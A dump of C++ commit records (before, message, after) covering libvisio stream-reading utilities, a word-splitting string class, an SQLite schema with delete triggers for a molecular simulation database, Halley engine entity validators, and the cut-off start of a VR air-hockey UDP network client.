(uint32_t)p[0]|((uint32_t)p[1]<<8)|((uint32_t)p[2]<<16)|((uint32_t)p[3]<<24);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\nint32_t libvisio::readS32(librevenge::RVNGInputStream *input)\n{\n return (int32_t)readU32(input);\n}\n\nuint64_t libvisio::readU64(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint64_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint64_t))\n return (uint64_t)p[0]|((uint64_t)p[1]<<8)|((uint64_t)p[2]<<16)|((uint64_t)p[3]<<24)|((uint64_t)p[4]<<32)|((uint64_t)p[5]<<40)|((uint64_t)p[6]<<48)|((uint64_t)p[7]<<56);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\ndouble libvisio::readDouble(librevenge::RVNGInputStream *input)\n{\n union\n {\n uint64_t u;\n double d;\n } tmpUnion;\n\n tmpUnion.u = readU64(input);\n\n return tmpUnion.d;\n}\n\nconst librevenge::RVNGString libvisio::getColourString(const Colour &c)\n{\n librevenge::RVNGString sColour;\n sColour.sprintf(\"#%.2x%.2x%.2x\", c.r, c.g, c.b);\n return sColour;\n}\n\nunsigned long libvisio::getRemainingLength(librevenge::RVNGInputStream *const input)\n{\n if (!input)\n throw EndOfStreamException();\n\n const unsigned long begin = (unsigned long) input->tell();\n unsigned long end = begin;\n\n if (0 == input->seek(0, librevenge::RVNG_SEEK_END))\n {\n end = (unsigned long) input->tell();\n }\n else\n {\n \/\/ librevenge::RVNG_SEEK_END does not work. Use the harder way.\n while (!input->isEnd())\n {\n readU8(input);\n ++end;\n }\n }\n\n input->seek(begin, librevenge::RVNG_SEEK_SET);\n\n return end - begin;\n}\n\nvoid libvisio::appendUCS4(librevenge::RVNGString &text, UChar32 ucs4Character)\n{\n \/\/ Convert carriage returns to new line characters\n if (ucs4Character == (UChar32) 0x0d || ucs4Character == (UChar32) 0x0e)\n ucs4Character = (UChar32) '\\n';\n\n unsigned char outbuf[U8_MAX_LENGTH+1];\n int i = 0;\n U8_APPEND_UNSAFE(&outbuf[0], i, ucs4Character);\n outbuf[i] = 0;\n\n text.append((char *)outbuf);\n}\n\nvoid libvisio::debugPrint(const char *format, ...)\n{\n va_list args;\n va_start(args, format);\n std::vfprintf(stderr, format, args);\n va_end(args);\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<commit_msg>cid#1419957 rewrite to avoid coverity warning<commit_after>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libvisio project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <vector>\n#include <string>\n#include <algorithm> \/\/ std::count\n#include <cstdarg>\n#include <cstdio>\n#include \"VSDInternalStream.h\"\n#include \"libvisio_utils.h\"\n\nuint8_t libvisio::readU8(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint8_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint8_t))\n return *(uint8_t const *)(p);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\nuint16_t libvisio::readU16(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint16_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint16_t))\n return (uint16_t)p[0]|((uint16_t)p[1]<<8);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\nint16_t libvisio::readS16(librevenge::RVNGInputStream *input)\n{\n return (int16_t)readU16(input);\n}\n\nuint32_t libvisio::readU32(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint32_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint32_t))\n return (uint32_t)p[0]|((uint32_t)p[1]<<8)|((uint32_t)p[2]<<16)|((uint32_t)p[3]<<24);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\nint32_t libvisio::readS32(librevenge::RVNGInputStream *input)\n{\n return (int32_t)readU32(input);\n}\n\nuint64_t libvisio::readU64(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint64_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint64_t))\n return (uint64_t)p[0]|((uint64_t)p[1]<<8)|((uint64_t)p[2]<<16)|((uint64_t)p[3]<<24)|((uint64_t)p[4]<<32)|((uint64_t)p[5]<<40)|((uint64_t)p[6]<<48)|((uint64_t)p[7]<<56);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\ndouble libvisio::readDouble(librevenge::RVNGInputStream *input)\n{\n union\n {\n uint64_t u;\n double d;\n } tmpUnion;\n\n tmpUnion.u = readU64(input);\n\n return tmpUnion.d;\n}\n\nconst librevenge::RVNGString libvisio::getColourString(const Colour &c)\n{\n librevenge::RVNGString sColour;\n sColour.sprintf(\"#%.2x%.2x%.2x\", c.r, c.g, c.b);\n return sColour;\n}\n\nunsigned long libvisio::getRemainingLength(librevenge::RVNGInputStream *const input)\n{\n if (!input)\n throw EndOfStreamException();\n\n const long begin = input->tell();\n\n if (input->seek(0, librevenge::RVNG_SEEK_END) != 0)\n {\n \/\/ librevenge::RVNG_SEEK_END does not work. Use the harder way.\n while (!input->isEnd())\n readU8(input);\n }\n const long end = input->tell();\n\n input->seek(begin, librevenge::RVNG_SEEK_SET);\n\n if (end < begin)\n throw EndOfStreamException();\n return static_cast<unsigned long>(end - begin);\n}\n\nvoid libvisio::appendUCS4(librevenge::RVNGString &text, UChar32 ucs4Character)\n{\n \/\/ Convert carriage returns to new line characters\n if (ucs4Character == (UChar32) 0x0d || ucs4Character == (UChar32) 0x0e)\n ucs4Character = (UChar32) '\\n';\n\n unsigned char outbuf[U8_MAX_LENGTH+1];\n int i = 0;\n U8_APPEND_UNSAFE(&outbuf[0], i, ucs4Character);\n outbuf[i] = 0;\n\n text.append((char *)outbuf);\n}\n\nvoid libvisio::debugPrint(const char *format, ...)\n{\n va_list args;\n va_start(args, format);\n std::vfprintf(stderr, format, args);\n va_end(args);\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\n#include <cctype>\n#include <cstring>\n\n#include \"Word.h\"\n\nWord& Word::operator=(const String& other)\n{\n (String&)*this = other;\n return *this;\n}\n\nbool Word::operator==(const Word& other) const\n{\n return *(String*)this == other;\n}\n\nbool Word::operator!=(const Word& other) const\n{\n return *(String*)this != other;\n}\n\nvoid Word::split(const String& text, List<Word>& words)\n{\n const char* str = text.getData();\n for(;;)\n {\n while(isspace(*str))\n ++str;\n if(!*str)\n break;\n if(*str == '\"')\n {\n ++str;\n const char* end = str;\n for(; *end; ++end)\n if(*end == '\\\\' && end[1] == '\"')\n ++end;\n else if(*end == '\"')\n break;\n if(end > str) \/\/ TODO: read escaped spaces as ordinary spaces?\n words.append(Word(text.substr(str - text.getData(), end - str), true));\n str = end;\n if(*str)\n ++str; \/\/ skip closing '\"'\n }\n else\n {\n const char* end = str;\n for(; *end; ++end)\n if(isspace(*end))\n break;\n \/\/ TODO: read escaped spaces as ordinary spaces\n words.append(Word(text.substr(str - text.getData(), end - str), false));\n str = end;\n }\n }\n}\n\nvoid Word::append(const List<Word>& words, String& text)\n{\n if(words.isEmpty())\n return;\n\n int totalLen = words.getSize() * 3;\n for(const List<Word>::Node* i = words.getFirst(); i; i = i->getNext())\n totalLen += i->data.getLength();\n text.setCapacity(totalLen + 16);\n\n const List<Word>::Node* i = words.getFirst();\n const List<Word>::Node* previousWord = i;\n i->data.appendTo(text);\n for(i = i->getNext(); i; i = i->getNext())\n {\n text.append(\/*previousWord->data.terminated ? '\\n' : *\/' ');\n i->data.appendTo(text);\n previousWord = i;\n }\n}\n\nvoid Word::appendTo(String& text) const\n{\n if(quoted)\n {\n text.append('\"');\n text.append(*this);\n text.append('\"');\n }\n else \/\/ TODO: escape spaces using blackslashes\n text.append(*this);\n}\n\nvoid Word::splitLines(const String& text, List<Word>& words)\n{\n const char* str = text.getData();\n for(;;)\n {\n const char* end = str;\n for(; *end; ++end)\n if(*end == '\\n' || *end == '\\r')\n break;\n \/\/ TODO: read escaped spaces as ordinary spaces\n Word& word = words.append(Word(text.substr(str - text.getData(), end - str), false));\n str = end;\n if(*str)\n {\n if(*str == '\\r' && str[1] == '\\n')\n str += 2;\n else\n ++str;\n }\n else\n break;\n }\n}\n<commit_msg>Remove warning<commit_after>\n#include <cctype>\n#include <cstring>\n\n#include \"Word.h\"\n\nWord& Word::operator=(const String& other)\n{\n (String&)*this = other;\n return *this;\n}\n\nbool Word::operator==(const Word& other) const\n{\n return *(String*)this == other;\n}\n\nbool Word::operator!=(const Word& other) const\n{\n return *(String*)this != other;\n}\n\nvoid Word::split(const String& text, List<Word>& words)\n{\n const char* str = text.getData();\n for(;;)\n {\n while(isspace(*str))\n ++str;\n if(!*str)\n break;\n if(*str == '\"')\n {\n ++str;\n const char* end = str;\n for(; *end; ++end)\n if(*end == '\\\\' && end[1] == '\"')\n ++end;\n else if(*end == '\"')\n break;\n if(end > str) \/\/ TODO: read escaped spaces as ordinary spaces?\n words.append(Word(text.substr(str - text.getData(), end - str), true));\n str = end;\n if(*str)\n ++str; \/\/ skip closing '\"'\n }\n else\n {\n const char* end = str;\n for(; *end; ++end)\n if(isspace(*end))\n break;\n \/\/ TODO: read escaped spaces as ordinary spaces\n words.append(Word(text.substr(str - text.getData(), end - str), false));\n str = end;\n }\n }\n}\n\nvoid Word::append(const List<Word>& words, String& text)\n{\n if(words.isEmpty())\n return;\n\n int totalLen = words.getSize() * 3;\n for(const List<Word>::Node* i = words.getFirst(); i; i = i->getNext())\n totalLen += i->data.getLength();\n text.setCapacity(totalLen + 16);\n\n const List<Word>::Node* i = words.getFirst();\n const List<Word>::Node* previousWord = i;\n i->data.appendTo(text);\n for(i = i->getNext(); i; i = i->getNext())\n {\n text.append(\/*previousWord->data.terminated ? '\\n' : *\/' ');\n i->data.appendTo(text);\n previousWord = i;\n }\n}\n\nvoid Word::appendTo(String& text) const\n{\n if(quoted)\n {\n text.append('\"');\n text.append(*this);\n text.append('\"');\n }\n else \/\/ TODO: escape spaces using blackslashes\n text.append(*this);\n}\n\nvoid Word::splitLines(const String& text, List<Word>& words)\n{\n const char* str = text.getData();\n for(;;)\n {\n const char* end = str;\n for(; *end; ++end)\n if(*end == '\\n' || *end == '\\r')\n break;\n \/\/ TODO: read escaped spaces as ordinary spaces\n words.append(Word(text.substr(str - text.getData(), end - str), false));\n str = end;\n if(*str)\n {\n if(*str == '\\r' && str[1] == '\\n')\n str += 2;\n else\n ++str;\n }\n else\n break;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"qmdatabase.h\"\n\nQMDatabase::onCreate()\n{\n \/\/ table for frames\n Exec(\"CREATE TABLE frames (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"time REAL NOT NULL,\"\n \"step INT NOT NULL,\"\n \"box11 REAL NOT NULL,\"\n \"box12 REAL NOT NULL,\"\n \"box13 REAL NOT NULL,\"\n \"box21 REAL NOT NULL,\"\n \"box22 REAL NOT NULL,\"\n \"box23 REAL NOT NULL,\"\n \"box31 REAL NOT NULL,\"\n \"box32 REAL NOT NULL,\"\n \"box33 REAL NOT NULL)\");\n \n \/\/ table for molecules\n Exec(\"CREATE TABLE molecules (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"id INT NOT NULL,\"\n \"name TEXT NOT NULL,\"\n \"frame INT NOT NULL)\");\n\n \/\/ delete molecules if frame is deleted\n Exec(\"CREATE TRIGGER trig_delete_frame BEFOR DELETE ON frames \"\n \"FOR EACH ROW BEGIN \"\n \"DELETE FROM molecules WHERE molecules.frame = OLD._id;\"\n \" END\");\n \n \/\/ table for conjugated segments\n Exec(\"CREATE TABLE segments (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"id INT NOT NULL,\"\n \"name TEXT NOT NULL,\"\n \"occ REAL NOT NULL)\");\n\n \/\/ additional properties of conjugated segments\n Exec(\"CREATE TABLE segment_properties (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"segmentid INTEGER NOT NULL,\"\n \"key TEXT NOT NULL,\"\n \"value REAL NOT NULL)\");\n\n \/\/ delete molecules if frame is deleted\n Exec(\"CREATE TRIGGER trig_delete_frame BEFOR DELETE ON frames \"\n \"FOR EACH ROW BEGIN \"\n \"DELETE FROM molecules WHERE molecules.frame = OLD._id;\"\n \" END\");\n\n \/\/ table for rigid fragments\n Exec(\"CREATE TABLE fragments (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"id INT NOT NULL,\"\n \"name TEXT NOT NULL,\"\n \"symmetry INT NOT NULL,\"\n \"type TEXT NOT NULL,\"\n \"resnr INT NOT NULL,\"\n \"mass REAL NOT NULL,\"\n \"charge REAL NOT NULL,\"\n \"molid INT NOT NULL,\"\n \"segment_id INT NOT NULL,\"\n \"segment_index INT NOT NULL,\"\n \"pos_x REAL NOT NULL,\"\n \"pos_y REAL NOT NULL,\"\n \"pos_z REAL NOT NULL,\"\n \"u_x REAL NOT NULL,\"\n \"u_y REAL NOT NULL,\"\n \"u_z REAL NOT NULL,\"\n \"v_x REAL NOT NULL,\"\n \"v_y REAL NOT NULL,\"\n \"v_z REAL NOT NULL)\");\n\n \/\/ additional properties of rigid fragments\n Exec(\"CREATE TABLE fragment_properties (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"fragmenttid INTEGER NOT NULL,\"\n \"key TEXT NOT NULL,\"\n \"value REAL NOT NULL)\");\n \n \/\/ table for pairs\n Exec(\"CREATE TABLE pairs (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"segment1 INT NOT NULL,\"\n \"segment2 INT NOT NULL,\"\n \"rate12 REAL NOT NULL,\"\n \"rate21 REAL NOT NULL,\"\n \"r_x REAL NOT NULL,\"\n \"r_y REAL NOT NULL,\"\n \"r_z REAL NOT NULL)\");\n\n \/\/ additional properties of pairs\n Exec(\"CREATE TABLE pair_properties (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"pairid INTEGER NOT NULL,\"\n \"key TEXT NOT NULL,\"\n \"value REAL NOT NULL)\");\n}\n<commit_msg>some more triggers<commit_after>#include \"qmdatabase.h\"\n\nvoid QMDatabase::onCreate()\n{\n \/\/ table for frames\n Exec(\"CREATE TABLE frames (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"time REAL NOT NULL,\"\n \"step INT NOT NULL,\"\n \"box11 REAL NOT NULL,\"\n \"box12 REAL NOT NULL,\"\n \"box13 REAL NOT NULL,\"\n \"box21 REAL NOT NULL,\"\n \"box22 REAL NOT NULL,\"\n \"box23 REAL NOT NULL,\"\n \"box31 REAL NOT NULL,\"\n \"box32 REAL NOT NULL,\"\n \"box33 REAL NOT NULL)\");\n \n \/\/ table for molecules\n Exec(\"CREATE TABLE molecules (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"id INT NOT NULL,\"\n \"name TEXT NOT NULL,\"\n \"frame INT NOT NULL)\");\n \n \/\/ table for conjugated segments\n Exec(\"CREATE TABLE segments (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"id INT NOT NULL,\"\n \"name TEXT NOT NULL,\"\n \"occ REAL NOT NULL)\");\n\n \/\/ additional properties of conjugated segments\n Exec(\"CREATE TABLE segment_properties (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"segment INTEGER NOT NULL,\"\n \"key TEXT NOT NULL,\"\n \"value REAL NOT NULL)\");\n\n \/\/ table for rigid fragments\n Exec(\"CREATE TABLE fragments (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"id INT NOT NULL,\"\n \"name TEXT NOT NULL,\"\n \"symmetry INT NOT NULL,\"\n \"type TEXT NOT NULL,\"\n \"resnr INT NOT NULL,\"\n \"mass REAL NOT NULL,\"\n \"charge REAL NOT NULL,\"\n \"molid INT NOT NULL,\"\n \"segment_id INT NOT NULL,\"\n \"segment_index INT NOT NULL,\"\n \"pos_x REAL NOT NULL,\"\n \"pos_y REAL NOT NULL,\"\n \"pos_z REAL NOT NULL,\"\n \"u_x REAL NOT NULL,\"\n \"u_y REAL NOT NULL,\"\n \"u_z REAL NOT NULL,\"\n \"v_x REAL NOT NULL,\"\n \"v_y REAL NOT NULL,\"\n \"v_z REAL NOT NULL)\");\n\n \/\/ additional properties of rigid fragments\n Exec(\"CREATE TABLE fragment_properties (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"fragmenttid INTEGER NOT NULL,\"\n \"key TEXT NOT NULL,\"\n \"value REAL NOT NULL)\");\n \n \/\/ table for pairs\n Exec(\"CREATE TABLE pairs (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"segment1 INT NOT NULL,\"\n \"segment2 INT NOT NULL,\"\n \"rate12 REAL NOT NULL,\"\n \"rate21 REAL NOT NULL,\"\n \"r_x REAL NOT NULL,\"\n \"r_y REAL NOT NULL,\"\n \"r_z REAL NOT NULL)\");\n\n \/\/ additional properties of pairs\n Exec(\"CREATE TABLE pair_properties (\"\n \"_id INTEGER PRIMARY KEY AUTOINCREMENT,\"\n \"pair INTEGER NOT NULL,\"\n \"key TEXT NOT NULL,\"\n \"value REAL NOT NULL)\");\n\n \/\/ delete molecules if frame is deleted\n Exec(\"CREATE TRIGGER trig_delete_frame BEFOR DELETE ON frames \"\n \"FOR EACH ROW BEGIN \"\n \"DELETE FROM molecules WHERE molecules.frame = OLD._id;\"\n \" END\");\n\n \/\/ delete segment properties + fragments + pairs if segment is deleted\n Exec(\"CREATE TRIGGER trig_delete_segment BEFOR DELETE ON segments \"\n \"FOR EACH ROW BEGIN \"\n \"DELETE FROM segment_properties WHERE segment_properties=segmentid.segment = OLD._id;\"\n \"DELETE FROM fragments WHERE segment_id=segmentid.frame = OLD._id;\"\n \"DELETE FROM pairs WHERE pairs.segment1 = OLD._id OR pairs.segment2 = OLD._id;\"\n \" END\");\n\n \/\/ delete fragment properties if fragment is deleted\n Exec(\"CREATE TRIGGER trig_delete_fragment BEFOR DELETE ON fragments \"\n \"FOR EACH ROW BEGIN \"\n \"DELETE FROM fragment_properties WHERE fragment_properties.fragment = OLD._id;\"\n \"DELETE FROM fragments WHERE segment_id=segmentid.frame = OLD._id;\"\n \" END\");\n\n \/\/ delete pair property if property is deleted\n Exec(\"CREATE TRIGGER trig_delete_pair BEFOR DELETE ON pairs \"\n \"FOR EACH ROW BEGIN \"\n \"DELETE FROM pair_properties WHERE pair_properties.pair = OLD._id;\"\n \" END\");\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"standard_entity_validators.h\"\n#include \"halley\/entity\/entity.h\"\n#include \"halley\/entity\/world.h\"\n\n#define DONT_INCLUDE_HALLEY_HPP\n#include \"component_editor_context.h\"\n#include \"halley\/entity\/components\/transform_2d_component.h\"\n\nusing namespace Halley;\n\nstd::vector<IEntityValidator::Result> TransformEntityValidator::validateEntity(EntityValidator& validator, EntityData& entityData)\n{\n\tstd::vector<Result> result;\n\n\tconst auto entity = validator.getWorld().findEntity(entityData.getInstanceUUID());\n\tif (entity->isValid()) {\n\t\tconst bool hasTransform = entity->hasComponent<Transform2DComponent>();\n\n\t\tif (!hasTransform) {\n\t\t\tfor (auto c: entity->getChildren()) {\n\t\t\t\tif (c.hasComponent<Transform2DComponent>()) {\n\t\t\t\t\tresult.emplace_back(\"Entity has no Transform2D component, but some of its children do.\", Action(\"Add Component\", AddComponentValidatorActionHandler::makeAction(\"Transform2D\")));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn result;\n}\n\nbool AddComponentValidatorActionHandler::canHandle(const ConfigNode& actionData)\n{\n\treturn actionData[\"action\"].asString() == \"addComponent\" && actionData.hasKey(\"component\");\n}\n\nvoid AddComponentValidatorActionHandler::applyAction(EntityValidator& validator, IEntityEditor& entityEditor, EntityData& entityData, const ConfigNode& actionData)\n{\n\tconst auto compType = actionData[\"component\"].asString();\n\tentityEditor.addComponent(compType, ConfigNode::MapType());\n}\n\nConfigNode AddComponentValidatorActionHandler::makeAction(String componentName)\n{\n\tConfigNode::MapType action;\n\taction[\"action\"] = \"addComponent\";\n\taction[\"component\"] = std::move(componentName);\n\treturn action;\n}\n\nbool ModifyFieldsValidatorActionHandler::canHandle(const ConfigNode& actionData)\n{\n\treturn actionData[\"action\"].asString() == \"modifyField\" || actionData[\"action\"].asString() == \"modifyFields\";\n}\n\nvoid ModifyFieldsValidatorActionHandler::applyAction(EntityValidator& validator, IEntityEditor& entityEditor, EntityData& entityData, const ConfigNode& actionData)\n{\n\tif (actionData[\"action\"].asString() == \"modifyField\") {\n\t\tapplyEntry(entityEditor, entityData, actionData);\n\t} else if (actionData[\"action\"].asString() == \"modifyFields\") {\n\t\tfor (const auto& entry: actionData[\"entries\"].asSequence()) {\n\t\t\tapplyEntry(entityEditor, entityData, entry);\n\t\t}\n\t}\n}\n\nConfigNode ModifyFieldsValidatorActionHandler::makeAction(String componentName, String fieldName, ConfigNode fieldData)\n{\n\tConfigNode::MapType result;\n\n\tresult[\"action\"] = \"modifyField\";\n\tresult[\"component\"] = componentName;\n\tresult[\"field\"] = fieldName;\n\tresult[\"data\"] = fieldData;\n\n\treturn result;\n}\n\nvoid ModifyFieldsValidatorActionHandler::applyEntry(IEntityEditor& entityEditor, EntityData& entityData, const ConfigNode& entry)\n{\n\tconst auto component = entry[\"component\"].asString();\n\tconst auto field = entry[\"field\"].asString();\n\n\tbool found = false;\n\tfor (auto& comp: entityData.getComponents()) {\n\t\tif (comp.first == component) {\n\t\t\tauto& compData = comp.second.asMap();\n\t\t\tcompData[field] = ConfigNode(entry[\"data\"]);\n\t\t\tfound = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (found) {\n\t\tentityEditor.onFieldChangedByGizmo(component, field);\n\t}\n}\n<commit_msg>Some missing moves<commit_after>#include \"standard_entity_validators.h\"\n#include \"halley\/entity\/entity.h\"\n#include \"halley\/entity\/world.h\"\n\n#define DONT_INCLUDE_HALLEY_HPP\n#include \"component_editor_context.h\"\n#include \"halley\/entity\/components\/transform_2d_component.h\"\n\nusing namespace Halley;\n\nstd::vector<IEntityValidator::Result> TransformEntityValidator::validateEntity(EntityValidator& validator, EntityData& entityData)\n{\n\tstd::vector<Result> result;\n\n\tconst auto entity = validator.getWorld().findEntity(entityData.getInstanceUUID());\n\tif (entity->isValid()) {\n\t\tconst bool hasTransform = entity->hasComponent<Transform2DComponent>();\n\n\t\tif (!hasTransform) {\n\t\t\tfor (auto c: entity->getChildren()) {\n\t\t\t\tif (c.hasComponent<Transform2DComponent>()) {\n\t\t\t\t\tresult.emplace_back(\"Entity has no Transform2D component, but some of its children do.\", Action(\"Add Component\", AddComponentValidatorActionHandler::makeAction(\"Transform2D\")));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn result;\n}\n\nbool AddComponentValidatorActionHandler::canHandle(const ConfigNode& actionData)\n{\n\treturn actionData[\"action\"].asString() == \"addComponent\" && actionData.hasKey(\"component\");\n}\n\nvoid AddComponentValidatorActionHandler::applyAction(EntityValidator& validator, IEntityEditor& entityEditor, EntityData& entityData, const ConfigNode& actionData)\n{\n\tconst auto compType = actionData[\"component\"].asString();\n\tentityEditor.addComponent(compType, ConfigNode::MapType());\n}\n\nConfigNode AddComponentValidatorActionHandler::makeAction(String componentName)\n{\n\tConfigNode::MapType action;\n\taction[\"action\"] = \"addComponent\";\n\taction[\"component\"] = std::move(componentName);\n\treturn action;\n}\n\nbool ModifyFieldsValidatorActionHandler::canHandle(const ConfigNode& actionData)\n{\n\treturn actionData[\"action\"].asString() == \"modifyField\" || actionData[\"action\"].asString() == \"modifyFields\";\n}\n\nvoid ModifyFieldsValidatorActionHandler::applyAction(EntityValidator& validator, IEntityEditor& entityEditor, EntityData& entityData, const ConfigNode& actionData)\n{\n\tif (actionData[\"action\"].asString() == \"modifyField\") {\n\t\tapplyEntry(entityEditor, entityData, actionData);\n\t} else if (actionData[\"action\"].asString() == \"modifyFields\") {\n\t\tfor (const auto& entry: actionData[\"entries\"].asSequence()) {\n\t\t\tapplyEntry(entityEditor, entityData, entry);\n\t\t}\n\t}\n}\n\nConfigNode ModifyFieldsValidatorActionHandler::makeAction(String componentName, String fieldName, ConfigNode fieldData)\n{\n\tConfigNode::MapType result;\n\n\tresult[\"action\"] = \"modifyField\";\n\tresult[\"component\"] = std::move(componentName);\n\tresult[\"field\"] = std::move(fieldName);\n\tresult[\"data\"] = std::move(fieldData);\n\n\treturn result;\n}\n\nvoid ModifyFieldsValidatorActionHandler::applyEntry(IEntityEditor& entityEditor, EntityData& entityData, const ConfigNode& entry)\n{\n\tconst auto component = entry[\"component\"].asString();\n\tconst auto field = entry[\"field\"].asString();\n\n\tbool found = false;\n\tfor (auto& comp: entityData.getComponents()) {\n\t\tif (comp.first == component) {\n\t\t\tauto& compData = comp.second.asMap();\n\t\t\tcompData[field] = ConfigNode(entry[\"data\"]);\n\t\t\tfound = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (found) {\n\t\tentityEditor.onFieldChangedByGizmo(component, field);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\n#include \"NetworkClient.hpp\"\n\n\/\/fToServerStc NetworkClient::toServerData;\n\n\n\nNetworkClient::NetworkClient() : NetworkWorker()\n{\n\ttryToConnect = true;\n\tclientConnected = false;\n\n\tmyType = CLIENT;\n}\n\nint NetworkClient::initialize(int port)\n{\n\tlast = now = AnnEngine::Instance()->getTimeFromStartUp(); \n\treturn 0;\n}\nvoid NetworkClient::update(){\n\tAnnDebug() << \"client update\";\n\tnow = AnnEngine::Instance()->getTimeFromStartUp();\n\tfloat frameTime = now - last;\n\tlast = now;\n\tcommunicate(frameTime);\n}\n\n\/\/ --- Do network communications ---\nvoid NetworkClient::communicate(float frameTime)\n{\t\n\tAnnDebug() << \"Com\";\n\tif(clientConnected)\n\t\tgetInfoFromServer(); \/\/ Get game state from server\n\t\/\/ Calculate elapsed time for network communications\n\t\/*netTime += frameTime;\n\tif(netTime < netNS::NET_TIMER) \/\/ if not time to communicate*\/\n\t\t\/\/return;\n\tif(tryToConnect)\n\t\tconnectToServer(); \/\/ Attempt to connect to game server\n\telse if(clientConnected)\n\t{\n\t\tAnnDebug() << \"Should transmit data here\";\n\t\tcheckNetworkTimeout(); \/\/ check for disconnect from server\n\t\tsendInfoToServer(); \/\/\n\t}\n\tnetTime -= netNS::NET_TIMER;\n\n}\n\nvoid NetworkClient::connectToServer() \n{\n\tAnnDebug() << \"Call connect to server...\" ;\n\tstatic int step = 0;\n static float waitTime; \/\/ seconds we have waited for a response from server\n int size;\n int newPort;\n std::string str;\n std::stringstream ss;\n\n if(clientConnected) \/\/ if connected\n {\n tryToConnect = false;\n AnnDebug() << \"Currently connected\";\n return;\n }\n\n AnnDebug() << \"----- Vr AirHockey Client -----\";\n \n\t\tswitch (step)\n\t\t{\n\t\tcase 0:\n \n\n\t\tnewPort = config.port;\n if(newPort == 0)\n newPort = netNS::DEFAULT_PORT;\n if(newPort > netNS::MIN_PORT && newPort < 65536)\n {\n port = newPort;\n }\n else\n AnnDebug() << \"Invalid port number\";\n\t\tstrcpy(remoteIP, config.serverAddress.c_str()); \n error = net.createClient(remoteIP, port, netNS::UDP);\n if(error != netNS::NET_OK) \/\/ if error\n {\n AnnDebug() << net.getError(error); \/\/ display error message\n tryToConnect = false;\n return;\n }\n \/\/ send request to join the server\n AnnDebug() << \"Attempting to connect with server.\"; \/\/ display message\n toServerData.playerN = 255; \/\/ playerN=255 is request to join\n size = sizeof(toServerData);\n AnnDebug() << \"'Request to join' sent to server.\";\n error = net.sendData((char*) &toServerData, size, remoteIP, port);\n AnnDebug() << net.getError(error);\n waitTime = 0;\n\n\t\tstep = 4;\n break;\n\n case 4:\n waitTime+=netTime; \/\/ add time since last call to connect\n \/\/ if we timed out with no reponse to our request to join\n if (waitTime > CONNECT_TIMEOUT) \n {\n AnnDebug() << \"'Request to join' timed out.\";\n \/\/tryToConnect = false;\n return;\n }\n \/\/ read ConnectResponse from server\n size = sizeof(connectResponse);\n error = net.readData((char*)&connectResponse, size, remoteIP, remotePort);\n if (error == netNS::NET_OK) \/\/ 